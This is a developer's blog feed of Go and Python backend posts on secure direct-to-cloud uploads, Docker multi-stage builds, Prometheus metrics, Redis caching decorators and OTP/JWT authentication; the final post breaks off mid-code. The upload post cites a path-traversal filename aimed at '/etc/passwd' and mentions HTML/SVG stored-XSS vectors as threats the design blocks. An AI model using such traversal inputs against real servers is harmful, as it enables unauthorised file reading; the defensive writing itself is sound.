DEV Community: Yar Khan

Secure direct-to-cloud file uploads: presigned URLs, magic bytes, and the gotchas nobody warns you about

Yar Khan — Wed, 22 Jul 2026 00:28:00 +0000

A teacher clicks "Upload," picks a PDF of this week's lecture notes, and a second later it shows up in the course. Boring. Exactly what you want a feature to be.

But behind that boring click is a surprisingly deep rabbit hole. I was building the materials-upload feature for MahirLearning, an LMS I've been working on, and I kept asking myself one uncomfortable question: what could a malicious file actually do here? This post is the story of answering that question — the architecture I landed on, every security decision I made, the ones I deliberately skipped, and the two bugs that ate an afternoon each.

If you're about to add file uploads to any app, I hope this saves you some of that afternoon.

The first decision: don't let files touch your server

The naive design is: browser sends the file to your API, your API streams it to storage. It works, and it's a trap. Now your API is a bottleneck for every megabyte, your request timeouts have to account for slow uploads, and a few large uploads can pin your instance.

So I went with the pattern everyone eventually converges on: presigned URLs. The file goes directly from the browser to object storage (I'm using Cloudflare R2, which speaks the S3 API). My Go backend never sees the bytes on the way in — it only hands out a short-lived, signed URL that says "you may PUT one object to exactly this key for the next 5 minutes."

That single decision shapes everything else. It also creates the core tension of this whole post:

If the bytes never pass through my server on upload, how do I know what was actually uploaded?

Hold that thought. It's the reason half of this article exists.

The architecture at a glance

Here's the whole thing on one screen. Two phases to upload (presign, then confirm), and a separate signed path to download.

The key idea: the database row and the storage object are created in two steps, and the row only becomes real once I've inspected the bytes.

Phase 1 — presign: the row is a promise, not a fact

When the admin asks to upload, the request is tiny — just filename, declared content type, and size. No bytes yet. My API does three things before it signs anything:

func (s *Service) PresignUpload(ctx context.Context, userID uuid.UUID, req Presign) (*PresignURL, error) {
    // 1. resource_id must be a real UUID.
    if _, err := uuid.Parse(req.ResourceID); err != nil {
        return nil, ErrFailed
    }

    // 2. The key extension comes from the (allow-listed) type — NEVER the filename.
    ext, ok := ExtByType[req.ContentType]
    if !ok {
        return nil, ErrFailed
    }

    // 3. Clean the display filename before it ever gets stored.
    req.Filename = sanitizeFilename(req.Filename)

    key := fmt.Sprintf("%s/%s/%s%s", req.ResourceType, req.ResourceID, uuid.New().String(), ext)
    // ...sign a PUT for `key`, INSERT an attachments row with status = 'pending'
}

Two things worth pausing on.

The key never trusts the filename. A classic file-upload bug is building the storage path from user input (uploads/ + filename), which invites path traversal and weird collisions. My key is course/<courseUUID>/<randomUUID>.<ext>, where the extension is looked up from the validated content type. The client's filename can be ../../etc/passwd.pdf for all I care — it never touches the key. I keep the original name only as a display label, and even that gets sanitized (strip directories, kill control characters, cap the length).

The row is inserted as pending. At this point I have a database row and a signed URL, but no file. The row is a promise. If the client never uploads, or uploads garbage, that promise is never kept — and nothing that reads the materials list will ever see a pending row.

There's also a subtle bug I hit here that's worth its own paragraph.

The Content-Length footgun

My first instinct was to bake the size into the signature: sign the PUT with an exact Content-Length so R2 rejects anything bigger. Sounds airtight. In practice, browsers manage the Content-Length header themselves, and signing it turns a browser upload into a coin-flip of 403 SignatureDoesNotMatch. I ripped it out. The lesson: don't sign headers the browser controls. I enforce size a different way (below), where I actually have authority.

Phase 2 — confirm: where I finally meet the bytes

The browser PUTs the file straight to R2. Then it calls POST /confirm with the key. This is the moment the two-phase design pays off, because now I can go read what actually landed in the bucket.

This is also the answer to the tension from the top of the post. I never saw the bytes on the way in — so I go get them on the way to confirming.

func (s *Service) ConfirmUpload(ctx context.Context, userID uuid.UUID, key string) (*Attachment, error) {
    // The pending row proves THIS admin presigned THIS key, and tells me the declared type.
    pending, err := s.repo.GetPendingByKey(ctx, key, userID)
    if err != nil {
        return nil, err // no matching pending upload → 404
    }

    // Re-check the real size (authoritative, from storage — not the client's claim).
    head, _ := s.r2.S3.HeadObject(ctx, /* bucket, key */)
    size := aws.ToInt64(head.ContentLength)
    if size > MaxUploadSize {
        s.deleteObject(ctx, key)      // clean up the oversized blob
        return nil, ErrFailed
    }

    // Read the first 32KB and sniff the REAL type from magic bytes.
    header, err := s.r2.ReadHeader(ctx, key, HeaderSniffBytes)
    if err != nil {
        return nil, err
    }
    detected := mimetype.Detect(header)
    if !verifyDetectedType(detected, pending.ContentType) {
        s.deleteObject(ctx, key)      // it's not what it claims — nuke it
        return nil, ErrUnsupportedContent
    }

    // Only now is it real: mark confirmed and store the verified type.
    return s.repo.ConfirmByKey(ctx, key, userID, size, detected.String())
}

Every line here is a security control, so let me unpack them.

Security decision #1: never trust the client's content type

The single most important rule of file uploads: Content-Type is a suggestion the client makes, not a fact. An attacker can upload an HTML file and label it image/png. R2 will happily store it with whatever type was declared.

Go's standard library has http.DetectContentType, but it's basic. I reached for github.com/gabriel-vasile/mimetype, which reads magic bytes — the actual signatures at the start of a file — and detects PDFs, images, and Office formats far more reliably.

The check runs server-side, at confirm time, on bytes I fetched from storage myself — not on anything the client told me. If the sniffed type isn't on my allowlist, I delete the object and reject with a 400. The file is gone within a second of arriving.

The ZIP problem, and a decision I had to make

Here's where it got interesting. Images and PDFs have clean, front-loaded signatures — sniffing them from a small header is trivial. But .pptx (and every modern Office format) is really a ZIP archive, and .ppt is an old OLE compound file. From a partial read, mimetype can sometimes only tell you "this is a valid ZIP" — it can't always pin down "this is specifically a PowerPoint" without reading deeper into the archive.

That's a genuine trade-off, and I had to choose:

Download the whole file to get an exact answer — accurate, but a full 25MB GET on every single upload.
Sniff the header only and accept a generic ZIP/OLE container as long as the admin declared an Office type — cheap, one small ranged read, very slightly looser.
Drop PowerPoint entirely and only allow images + PDF, which verify perfectly.

I chose #2. Uploads are admin-only, Office files are served as downloads (never rendered in the browser — more on that soon), and I only accept the bare-ZIP fallback when the declared type was actually PowerPoint. The residual risk — an admin renaming some other ZIP to .pptx — is bounded and low. If I ever need to close it fully, option #1 is a one-function change. Naming the trade-off out loud was more useful than pretending there was a free lunch.

func verifyDetectedType(detected *mimetype.MIME, declared string) bool {
    // Exact or ancestor match against the allowlist (images, pdf, exact office types).
    for m := detected; m != nil; m = m.Parent() {
        if AllowedTypes[m.String()] {
            return true
        }
    }
    // Office files often sniff as a generic container from a partial read —
    // accept that ONLY when the admin declared an office type.
    if OfficeTypes[declared] {
        switch detected.String() {
        case "application/zip", "application/x-ole-storage":
            return true
        }
    }
    return false
}

I also store the sniffed type in a verified_content_type column, separate from the client's declared content_type. If anything ever looks off later, I have both values to compare.

Security decision #2: enforce size on my terms

I validate the declared size before presigning, but a client with a signed URL can ignore that and upload whatever they want. So the real enforcement lives at confirm: HeadObject gives me the authoritative size straight from storage, and anything over the limit gets deleted and rejected.

This is the payoff for not signing Content-Length earlier. Instead of fighting the browser over a header, I check the fact after the fact, where the answer is real and I'm the one holding the delete button.

Security decision #3: stop stored XSS at the door (a UX call in disguise)

This one surprised me because it's less about code and more about a product decision.

The threat: someone uploads a file that the browser will render and execute — classically an HTML file or an SVG with a <script> in it. If that renders, you've got stored XSS.

I had two layers of defense, and one decision to make:

Layer 1 — the allowlist. SVG and HTML simply aren't allowed. The two most common XSS-via-upload vectors are excluded before we even get to sniffing. (This is why the allowlist matters: it's not just "which files are useful," it's "which files are safe to serve.")
Layer 2 — how I serve. Files are served through short-lived presigned GET URLs. When I sign that URL, I can override two response headers: Content-Type (pin it, so the browser can't be tricked into sniffing something executable) and Content-Disposition.

And here's the decision. Content-Disposition: attachment forces a download — the browser never renders the file, which is the safest possible behavior. But for a learning platform, students genuinely want to preview a PDF or an image inline, not download it every time.

So I split it: images and PDFs render inline (nice UX, and safe because the allowlist already blocks the dangerous types), while PPT/PPTX are forced to download (they can't be previewed inline anyway, and forcing attachment costs nothing).

disposition := ""
if OfficeTypes[ct] { // ppt / pptx
    disposition = fmt.Sprintf("attachment; filename=%q", filename)
}
url, _ := s.r2.PresignGet(ctx, key, ttl, ct, disposition) // Content-Type pinned to `ct`

Security work is usually framed as "lock everything down." Half the real work is deciding where the lock actively hurts the product and finding the spot that's both safe and usable.

Security decision #4: lock down IDOR on both ends

IDOR — Insecure Direct Object Reference — is where you let a user act on an object just because they know its ID. Uploads are a magnet for it.

Uploads are admin-only. Students physically cannot presign.
Confirm is ownership-checked. Notice GetPendingByKey(ctx, key, userID) above — it only returns a row where uploaded_by = userID and status = 'pending'. You can't confirm someone else's upload, and you can't re-confirm an already-confirmed file.
There's no "download by ID" endpoint to abuse. Students never request an object directly. They fetch the materials list, which is access-checked (are you enrolled in this course?), and each item already carries its signed URL. There's no ID a student can tamper with to reach a file they shouldn't see.
Presigned URLs are bearer tokens. Anyone with the URL can use it — that's inherent to the pattern. I bound the blast radius by keeping the TTL short (an hour) so a leaked link expires quickly.

The bug that ate an afternoon: the `.eu.` endpoint

Everything above was working in my head, and then uploads just... failed. The browser's preflight to R2 returned a flat 403, and I burned an afternoon convinced it was CORS.

It wasn't CORS. My bucket lives in R2's European Union jurisdiction, and EU buckets have a different S3 host: https://<account>.eu.r2.cloudflarestorage.com — note the .eu.. My backend was building the endpoint from just the account ID, so it was signing every presigned URL for the non-EU host. The browser was politely trying to talk to a bucket that wasn't mine.

One line of config, an afternoon of my life. If your presigned URLs 403 for no reason, check that your endpoint host exactly matches your bucket's region/jurisdiction before you touch CORS.

What I deliberately did NOT do

Good security is also knowing where to stop. Two things I consciously left out:

EXIF/metadata stripping from images. Real, but the payoff here is tiny: these are institutional materials uploaded by teachers, not personal photos from students. Stripping metadata means downloading and re-encoding every image server-side — a lot of work to protect against a threat that doesn't really exist for this data. Skipped.
A dedicated rate limit on the presign endpoint. There's already a global rate limiter, and presign is admin-only. A tighter per-endpoint cap is a fine idea for a public upload API; for an admin-only route behind an existing limiter, it's not worth the complexity yet.

Writing these down mattered as much as the controls I built. "We chose not to, because X" is a real engineering answer. "We didn't think about it" is not.

The mental model to take with you

If you remember one thing, make it this: treat every upload as guilty until proven innocent, and prove innocence with bytes you fetched yourself.

Concretely:

Get the bytes off your server's critical path — presigned URLs, direct to storage.
Make the DB row a two-phase promise — pending until you've inspected it.
Verify the real content, not the declared type, from storage-side bytes at confirm.
Never build storage keys from user input — derive them from validated data.
Decide how you serve before you worry about anything fancy — Content-Type + Content-Disposition stop most "rendered file" attacks for free.
Name your trade-offs (ZIP tolerance, inline vs. download, what you skipped) instead of pretending they don't exist.

None of these are exotic. Together they turn that boring "upload a PDF" click into something you can actually sleep next to.

Built with Go, gin, and Cloudflare R2. If you're working through the same problem and something here doesn't line up with your setup, drop a comment — I'd genuinely like to hear how you handled the ZIP-sniffing trade-off.

Why Your Production Image Shouldn't Contain a Compiler

Yar Khan — Mon, 20 Jul 2026 18:32:27 +0000

Multi-Stage Docker Builds for Go

If you've ever built a Docker image for a Go service and been surprised to see it weighing in at 800MB-1GB+, this post is for you. We'll walk through exactly why that happens, and how a technique called multi-stage builds fixes it.

The Problem: What a "Normal" Dockerfile Looks Like

Here's a straightforward, single-stage Dockerfile for a Go app:

FROM golang:1.26

WORKDIR /app

COPY . .

RUN go mod download

RUN CGO_ENABLED=0 GOOS=linux \
    go build \
    -trimpath \
    -ldflags="-s -w" \
    -o server \
    ./cmd/server

ENTRYPOINT ["/app/server"]

This works. It compiles your code and runs it. But there's a hidden cost.

The base image, golang:1.26, is built for developing and compiling Go code. It ships with the Go compiler, the full standard library, Git, a shell, a package manager, and various Linux utilities — often adding up to somewhere between 800MB and over 1GB.

The problem is that none of that is needed to run your application. Once your binary is compiled, the compiler, Git, and everything else are dead weight. But because this Dockerfile only has one stage, everything that was used to build the image also ends up shipped in it:

+--------------------------------+
| Go Compiler                    |
| Go Toolchain                   |
| Git                            |
| Module Cache                   |
| Build Cache                    |
| Source Code                    |
| go.mod / go.sum                |
| server (your actual binary)    |
| migrations                     |
+--------------------------------+
≈ 800 MB – 1+ GB

Your production container is carrying around an entire development environment just to run one binary. That's slower to pull, slower to deploy, and a larger attack surface than necessary.

The Solution: Multi-Stage Builds

A multi-stage build splits the Dockerfile into two (or more) stages:

Builder stage — has the compiler and everything needed to produce the binary.
Runtime stage — starts from a nearly empty image and copies over only the compiled binary (and any files it truly needs at runtime).

Everything from the builder stage that isn't explicitly copied over gets discarded. Here's the full production Dockerfile we're working with:

FROM golang:1.26 AS builder

WORKDIR /app

COPY go.mod go.sum ./
RUN go mod download

COPY . .

RUN CGO_ENABLED=0 \
    GOOS=linux \
    go build \
    -trimpath \
    -ldflags="-s -w" \
    -o server \
    ./cmd/server

FROM gcr.io/distroless/static-debian12

WORKDIR /

COPY --from=builder /app/server .
# The server runs migrations at boot (MIGRATIONS_PATH must point here).
COPY --from=builder /app/migrations /migrations

USER nonroot:nonroot

ENTRYPOINT ["/server"]

Let's go through it line by line.

Stage 1: The Builder

FROM golang:1.26 AS builder

This starts from the official Go image — the same heavy one from before. The difference is the AS builder label. That names this stage builder, so later on we can reference it directly with COPY --from=builder instead of tracking it by number.

WORKDIR /app

Sets the working directory for every command that follows. Docker creates /app if it doesn't already exist, and remembers it so we don't have to repeat cd /app in every command.

Copying dependency files first

COPY go.mod go.sum ./
RUN go mod download

This copies only go.mod and go.sum before touching the rest of the source code — and it's intentional. Docker caches each layer in a Dockerfile, and a layer is only rebuilt if its inputs change.

If you instead wrote:

COPY . .
RUN go mod download

then any change to any source file — even a single comment in main.go — would invalidate the COPY layer, forcing go mod download to re-run on every build. Since dependencies change far less often than source code, separating them means Docker can reuse the cached dependency layer on almost every rebuild, and only recompile what actually changed. This is one of the simplest and most effective Docker performance wins for Go projects.

COPY . .

Now the rest of the project — cmd/, internal/, pkg/, config/, migrations/, everything — gets copied in.

The actual compile step

RUN CGO_ENABLED=0 \
    GOOS=linux \
    go build \
    -trimpath \
    -ldflags="-s -w" \
    -o server \
    ./cmd/server

Each flag here is doing something specific:

CGO_ENABLED=0 — disables Cgo, which lets Go code call C libraries. Turning it off produces a fully static binary with no dependency on the system's C library (libc). That's exactly what you want for a minimal, portable container image.
GOOS=linux — explicitly targets Linux as the output OS. This matters if you're building on macOS or Windows; without it, you might end up with a binary that can't run inside a Linux container at all.
-trimpath — strips local filesystem paths (like /home/yourname/projects/backend) out of the compiled binary. This makes builds more reproducible and avoids leaking your local directory structure.
-ldflags="-s -w" — passes flags to the linker: -s strips the symbol table, and -w strips debugging information. Both reduce the final binary size.
-o server — names the output binary server.
./cmd/server — tells Go where the main.go entry point lives; Go compiles that package and pulls in everything it imports.

At the end of this stage, the builder contains the full source tree, the module cache, the Go toolchain, and the compiled server binary — but we're about to throw almost all of that away.

Stage 2: The Runtime Image

FROM gcr.io/distroless/static-debian12

This is a completely fresh starting point — Docker doesn't carry anything over from the builder stage automatically. Think of it as switching to a brand-new, nearly empty machine.

"Distroless" images are deliberately minimal: no shell, no package manager, no compiler, not even basic Linux utilities. Just enough to run a static binary. That's exactly what we need here, since CGO_ENABLED=0 already gave us a self-contained executable with no external dependencies.

WORKDIR /

Sets the working directory to the filesystem root.

COPY --from=builder /app/server .

This is the key line that makes multi-stage builds work. It reaches back into the builder stage and copies out just the compiled binary — nothing else. No compiler, no source code, no Git history, no module cache comes along for the ride.

COPY --from=builder /app/migrations /migrations

Some applications, this one included, run database migrations automatically on startup, so the migration files need to be present in the final image alongside the binary.

USER nonroot:nonroot

By default, containers run as root. Running as root means that if an attacker manages to compromise your application, they immediately have root-level access inside the container. Switching to a non-root user removes that easy escalation path — a small change with an outsized security benefit.

ENTRYPOINT ["/server"]

This tells Docker what to execute when the container starts: your compiled binary, and nothing else.

The End Result

The final image contains only:

/
├── server
└── migrations/

No compiler. No Git. No shell. No source code. No build cache. Just your application and the files it needs at runtime.

Builder (discarded after build)
────────────────────────────────
Go Compiler
Go Toolchain
Git
Source Code
Build Cache
Module Cache
        │
        │  COPY server + migrations only
        ▼
Runtime Image (what actually ships)
────────────────────────────────
server
migrations/
Distroless base

Why This Matters

The difference in outcome is significant:

	Single-stage	Multi-stage
Final image size	~800MB – 1GB+	~15–25MB
Contains compiler/toolchain	Yes	No
Contains source code	Yes	No
Runs as root by default	Yes	No (with `USER nonroot`)
Attack surface	Large	Minimal

A smaller image pulls faster, deploys faster, and scales faster — which matters a lot if you're running in Kubernetes or any environment that spins up new containers frequently. Just as importantly, a distroless image with no shell and no package manager gives an attacker far less to work with if they ever find a way in. There's no bash to drop into, no apt to install tools with, and no source code sitting around to inspect.

Takeaway

The core idea behind multi-stage builds is simple: separate the environment you need to build your application from the environment you need to run it. Your build stage can be as heavy as it needs to be — full of compilers, toolchains, and caches — because none of that has to leave the builder stage. Your runtime stage only needs to carry the finished artifact.

For Go specifically, this pairs especially well with static compilation (CGO_ENABLED=0), since a fully static binary has no runtime dependencies at all — meaning it can run in an image that has almost nothing else in it.

If you're currently shipping Go services in single-stage Docker images, this is one of the highest-leverage changes you can make: a few extra lines in your Dockerfile for a dramatically smaller, faster, and more secure production image.

Instrumenting a Go API with Prometheus

Yar Khan — Sat, 18 Jul 2026 16:40:14 +0000

Exposing a /metrics endpoint takes five minutes. Getting the instrumentation itself right — metrics that stay cheap at scale, catch real problems, and don't lie under load. Here's a breakdown of the design decisions behind a recent metrics layer built for a Go API.

RED as the baseline, not the ceiling

Request rate, error ratio, and latency:

http_requests_total{method, path, status} for volume and error breakdown
http_request_duration_seconds as a histogram, buckets tuned to the actual latency distribution
http_requests_in_flight as a gauge for concurrency pressure
http_response_size_bytes to catch payload bloat before it manifests as latency

The label that matters most here is path. Using the resolved URL instead of the route template turns every /users/42, /users/43... into its own series — cardinality explodes on nothing but normal traffic, and unmatched routes (scanner noise, bad paths) make it worse. Route templates as labels, unmatched paths collapsed into a single bucket, and the metrics endpoint itself excluded from the middleware so scrape traffic doesn't pollute its own numbers.

Connection pool saturation

Database exhaustion rarely announces itself early through query timing alone. Wiring NewDBStatsCollector against the connection pool surfaces open/in-use/idle counts plus wait count and wait duration — the earliest indicator that a pool is under pressure, well before it shows up as user-facing latency.

That instrumentation only means something paired with actual limits: max open connections, idle connection caps, connection lifetime. Without bounds, a spike exhausts the database directly. With them, the same spike shows up as queuing in the metrics — visible, diagnosable, alertable.

Security events belong in the metrics pipeline

Structured logs answer "what happened." They don't answer "is this happening right now, at what rate." Auth failures, failed logins by reason, account lockouts, rate-limit triggers, and forbidden-access attempts got a parallel path into Prometheus — security_events_total{event, reason}, logins_total{result} — incremented alongside the existing log calls.

That's the difference between discovering a brute-force pattern by grepping logs after the fact, and alerting on the rate the moment it starts climbing.

Reliability and runtime signals

panics_recovered_total from the recovery middleware — stability issues that would otherwise blend into a pile of 500s
cache_operations_total{cache, result} on hit/miss paths — actual numbers about cache effectiveness
app_build_info{service, version, env} — correlating any metric back to the exact build and environment it came from
Default Go collectors, registered once: goroutines, memstats, GC pauses, CPU, resident memory — no custom code, and usually the first sign of a leak long before it's user-facing

The principle underneath it

Every metric is a standing commitment — a series that has to be maintained — and every label is a multiplier on its cost. The goal was never maximum coverage. It was a deliberately small set of signals that answer "is this healthy, and if not, why" without opening a log file first. The mechanics of Prometheus are the easy part. Choosing what deserves to be measured, and building the guardrails that keep it cheap as traffic grows, is the actual work.

How to Add Redis Caching Without Touching Your Business Logic

Yar Khan — Fri, 17 Jul 2026 23:59:46 +0000

A practical guide to the Decorator Pattern in Go — and why "how many files did this change touch" is the real test of clean architecture.

The problem

Most Go backends end up with some version of this layering:

Handler → Service → Repository

At some point, a read-heavy piece of the system starts getting hit hard — a listing endpoint, a dashboard feed, anything queried far more often than it's written to. The obvious fix is caching. And the obvious first instinct is to open up the service layer and start adding Redis calls directly:

func (s *Service) GetAll(ctx context.Context) ([]Item, error) {
    cached, err := s.redis.Get(ctx, "items:all")
    if err == nil {
        var list []Item
        json.Unmarshal([]byte(cached), &list)
        return list, nil
    }

    list, err := s.repo.GetAll(ctx)
    // ...marshal, cache, return
}

It works. It's also the wrong instinct — and this is why.

Why "just add it to the service" is a trap

Once caching logic lives inside the service, every method that touches data starts accumulating cache-read, cache-write, and invalidation logic sitting right next to the actual business rules. A Create method that used to be a few lines of validation now also needs to know cache key formats, TTLs, and what to invalidate on write.

Two problems fall out of this immediately:

1. The service becomes hard to test in isolation. Testing that Create rejects invalid input now requires wiring up a fake Redis client too, even though the test has nothing to do with caching.

2. Caching becomes a leaky concern. A service's job is to enforce business rules and orchestrate. The moment it also knows how data is persisted-and-cached, two things that change for completely different reasons are now coupled in the same file. A TTL tweak and a validation rule change suddenly touch the same code.

Here's a useful test to apply to any architecture decision:

If this dependency were ripped out completely, how many files would need to change?

With caching embedded directly in the service, the answer is "the service itself, plus every test file for it." That's a smell. A well-isolated concern should be addable and removable as a localized, additive change — not a rewrite of things that have nothing to do with it.

The fix: caching is a decorator, not a service concern

The key insight: a cache-aside repository is still a repository. From the service's point of view, it doesn't matter whether a method hits the database directly or checks Redis first — it just needs something that satisfies the repository interface. So instead of teaching the service about Redis, build a second implementation of the repository interface that wraps the real one.

Service → Repository (interface)
                │
       ┌────────┴────────┐
       │                 │
CachedRepository    RealRepository
 (checks Redis        (talks to
  first, falls          the DB)
  through to inner)

CachedRepository implements the exact same interface as the real database-backed implementation. It holds a reference to that real implementation internally and only calls it on a cache miss. The service never knows the difference — it's still just calling methods on a Repository.

Directory structure

A layout that keeps this separation honest looks roughly like this:

domain/
├── model.go              # domain struct(s), sentinel errors
├── repository.go         # Repository interface definition
├── service.go             # business logic — validation, orchestration. Zero cache awareness.
├── cached_repository.go  # decorator — implements Repository, wraps another Repository + cache

handler/
└── handler.go             # HTTP layer — request binding, response mapping

repository/
└── postgres_repository.go # the real database implementation of Repository

cache/
└── client.go               # generic, domain-agnostic cache wrapper (Get/Set/Delete/locks)

Two things worth calling out:

The cache client (cache/client.go) knows nothing about any specific domain. It's a thin, reusable wrapper — Get, Set, Delete, Exists, maybe a distributed lock. Any part of the system can use it. It has zero business logic in it.
The decorator (cached_repository.go) knows nothing about HTTP or database specifics. It only depends on the repository interface and the generic cache client. It's the one place where caching policy lives — key naming, TTLs, what gets invalidated on which write.

Transport (the cache client) is reusable across the whole application. Policy (the decorator) is specific to the domain it caches and lives right next to it — not buried in a shared file, not scattered across services.

The code

The interface everything depends on

type Repository interface {
    Create(ctx context.Context, item *Item) error
    GetAll(ctx context.Context) ([]Item, error)
    GetByID(ctx context.Context, id uuid.UUID) (*Item, error)
    Delete(ctx context.Context, id uuid.UUID) error
}

Nothing unusual here — this is exactly the interface a plain database-backed repository would implement with no caching involved at all. That's the point: introducing caching does not change this interface.

The service — completely unaware caching exists

type Service struct {
    repo Repository
}

func NewService(repo Repository) *Service {
    return &Service{repo: repo}
}

func (s *Service) Create(ctx context.Context, item *Item) error {
    item.Name = strings.TrimSpace(item.Name)
    if item.Name == "" {
        return ErrEmptyName
    }
    return s.repo.Create(ctx, item)
}

func (s *Service) GetAll(ctx context.Context) ([]Item, error) {
    return s.repo.GetAll(ctx)
}

func (s *Service) Delete(ctx context.Context, id uuid.UUID) error {
    return s.repo.Delete(ctx, id)
}

There is no cache import in this file. No key naming, no TTL, nothing. If every trace of Redis were deleted from the codebase, this file would not need a single edit.

The decorator — where caching actually lives

type CachedRepository struct {
    inner  Repository // the real repository — called only on a cache miss
    cache  *cache.Client
}

func NewCachedRepository(inner Repository, c *cache.Client) *CachedRepository {
    return &CachedRepository{inner: inner, cache: c}
}

const (
    cacheVersion = "v1" // bump if the domain struct's shape ever changes
    listTTL      = 2 * time.Minute
)

func keyAll() string { return "items:" + cacheVersion + ":all" }

func (c *CachedRepository) GetAll(ctx context.Context) ([]Item, error) {
    key := keyAll()

    if list, ok := c.getList(ctx, key); ok {
        return list, nil // cache hit — database never touched
    }

    list, err := c.inner.GetAll(ctx) // cache miss — fall through to the real repository
    if err != nil {
        return nil, err
    }

    c.setList(ctx, key, list, listTTL)
    return list, nil
}

func (c *CachedRepository) Create(ctx context.Context, item *Item) error {
    if err := c.inner.Create(ctx, item); err != nil {
        return err
    }
    c.invalidate(ctx, keyAll())
    return nil
}

func (c *CachedRepository) Delete(ctx context.Context, id uuid.UUID) error {
    if err := c.inner.Delete(ctx, id); err != nil {
        return err
    }
    c.invalidate(ctx, keyAll())
    return nil
}

func (c *CachedRepository) invalidate(ctx context.Context, keys ...string) {
    for _, k := range keys {
        if err := c.cache.Delete(ctx, k); err != nil {
            fmt.Printf("err: %v", err)
        }
    }
}

(getList/setList are small marshal/unmarshal helpers around the cache client — omitted here for brevity, but they're the only place encoding/json shows up in this file.)

Wiring — the only place that changes

// main.go — composition root
realRepo := repository.NewPostgresRepository(db)
cachedRepo := domain.NewCachedRepository(realRepo, cacheClient, logger)
svc := domain.NewService(cachedRepo) // ← service receives the cached one

That's the entire integration. Service is constructed exactly as it would be without caching — it just receives cachedRepo instead of realRepo. Since it's typed against the Repository interface either way, it has no way of knowing which one it got.

Why this is the actual point

Apply the test from earlier: if caching were ripped out entirely, how much would change?

With the decorator: delete cached_repository.go, change one line in main.go back to svc := domain.NewService(realRepo). Done. The handler, the service, the business-rule tests — none of it moves.

That's what clean architecture buys in practice. It's not about folder naming conventions or hitting some target number of layers — it's about the blast radius of a change matching its actual scope. Adding caching is a caching-shaped change. It shouldn't require editing files whose job is business rules.

What this means for testing

Service tests run against a mock Repository — no cache involved at all. Fast, minimal setup, and they test exactly one thing: business rules.
Decorator tests run independently: cache hit returns without touching the inner repository, cache miss falls through and populates the cache, writes invalidate the right keys. These tests carry zero business-rule logic — they only verify caching behavior.

Two test suites, two concerns, no overlap, no reason to touch one when changing the other.

The takeaway

The decorator pattern isn't a clever trick — it falls straight out of programming against interfaces instead of concrete types. Once a service depends on a Repository interface rather than a specific struct, anything satisfying that interface can be swapped in underneath it, including something that wraps another implementation of itself.

That's the difference between a caching layer and a caching tangle. And it's not specific to Redis — the same pattern applies to adding retries, metrics, logging, or any other cross-cutting concern to something that already works, without touching the thing itself.

Pattern applies regardless of stack — shown here in Go with a SQL-backed repository and Redis, but the shape is language-agnostic.

Secure Authentication (FastAPI + OTP + JWT)

Yar Khan — Tue, 24 Mar 2026 11:56:51 +0000

This document explains the complete authentication design, with a strong focus on security controls and implementation details.

What This Auth System Covers

User registration with hashed password storage
Email OTP verification with anti-abuse controls
Login gated by email verification
Password reset using OTP + short-lived purpose-scoped token
Logout with JWT revocation (token blacklist)

Security Goals

The flow is designed to prevent:

Unauthorized login before email ownership is verified
OTP brute-force and OTP resend spam
Reset-token misuse outside password reset flow
Continued use of access tokens after logout

High-Level Flow

Register: create user (verified=False)
Send OTP: POST /auth/otp/send
Verify OTP: POST /auth/otp/verify -> marks user verified
Login: POST /auth/login -> JWT only for verified users
Forgot password:
1. POST /auth/otp/send
2. POST /auth/verify-reset -> short-lived token (purpose=password_reset)
3. POST /auth/reset-password with reset token
Logout: POST /auth/logout -> token added to blacklist

Architecture Diagram

Registration Flow

Password Reset Flow

Core Endpoints

# backend/app/routers/auth_router.py

@router.post("/register")
def register(request: UserRegister, service: AuthService):
    return service.register(request)

@router.post("/login")
def login(request: UserLogin, service: AuthService):
    return service.login(request)

@router.post("/otp/send")
async def send_otp(request: OTPRequest, service: AuthService, background_tasks: BackgroundTasks):
    return service.send_otp(email=request.email, background_tasks=background_tasks)

@router.post("/otp/verify")
def verify_otp(request: OTPVerifyRequest, service: AuthService):
    return service.verify_otp(email=request.email, input_code=request.code)

@router.post("/verify-reset")
def forgot_password(request: OTPVerifyRequest, service: AuthService):
    return service.verify_reset_otp(email=request.email, input_code=request.code)

@router.post("/reset-password")
def reset_password(request: PasswordResetRequest, user: PasswordResetUser, service: AuthService):
    return service.reset_password(email=user, password=request.new_password)

@router.post("/logout")
def logout(block_token: BlockToken):
    return {"message": "Logout successful"}

Request Validation

# backend/app/schemas/user_schema.py
class UserRegister(BaseModel):
    email: EmailStr
    password: str
    confirm_password: str = Field(alias="confirmPassword")

# backend/app/schemas/otp_schema.py
class OTPRequest(BaseModel):
    email: EmailStr

class OTPVerifyRequest(BaseModel):
    email: EmailStr
    code: str

class PasswordResetRequest(BaseModel):
    new_password: str = Field(alias="newPassword")

OTP Security Model

# backend/app/otp/otp_manager.py
class OTPManager:
    OTP_LENGTH = 6
    OTP_EXPIRY_MINUTES = 10
    MAX_ATTEMPTS = 5
    MAX_RESENDS = 3
    LOCKOUT_MINUTES = 15
    RATE_LIMIT_SECONDS = 60

Controls implemented:

Cryptographically secure OTP generation (secrets)
OTP hash storage (SHA-256) instead of plaintext
10-minute OTP TTL
Resend rate limit (60s)
Max resend cap (3)
Max failed attempts (5) + temporary lockout (15m)

Registration Logic

def register(self, user: UserRegister) -> UserResponse:
    if len(user.password) < 8:
        raise HTTPException(status_code=400, detail="Password must be at least 8 characters")

    is_valid, error_msg = validate_email_address(user.email)
    if not is_valid:
        raise HTTPException(status_code=400, detail=error_msg)

    if self.user_repo.is_user_exists(user.email):
        raise HTTPException(status_code=400, detail="Account with this email already exists")

    if user.password != user.confirm_password:
        raise HTTPException(status_code=400, detail="Password and confirm password do not match")

    hashed_password = hash_password(user.password)
    return self.user_repo.create_user(user.email, hashed_password)

Security notes:

Password is never stored plaintext
User remains unverified until OTP verification succeeds

OTP Send + Verify Logic

def send_otp(self, email: EmailStr, background_tasks: BackgroundTasks) -> dict:
    if self.otp_repo.is_rate_limited(email):
        raise HTTPException(status_code=429, detail="Please wait before requesting another code")

    if self.otp_repo.is_locked(email):
        raise HTTPException(status_code=403, detail="Account locked temporarily")

    existing = self.otp_repo.get_otp(email)
    if existing and existing.resend_count >= OTPManager.MAX_RESENDS:
        raise HTTPException(status_code=429, detail="Maximum OTP requests exceeded")

    otp_code = OTPManager.generate_otp()
    code_hash = OTPManager.hash_otp(otp_code)
    self.otp_repo.create_or_update_otp(email, code_hash)

    background_tasks.add_task(self.email_service.send_email, email_data)
    return {"message": "OTP sent successfully"}

def _verify_otp_core(self, email: EmailStr, input_code: str):
    if self.otp_repo.is_locked(email):
        raise HTTPException(status_code=403, detail="Account is temporarily locked")

    otp_record = self.otp_repo.get_otp(email)
    if not otp_record:
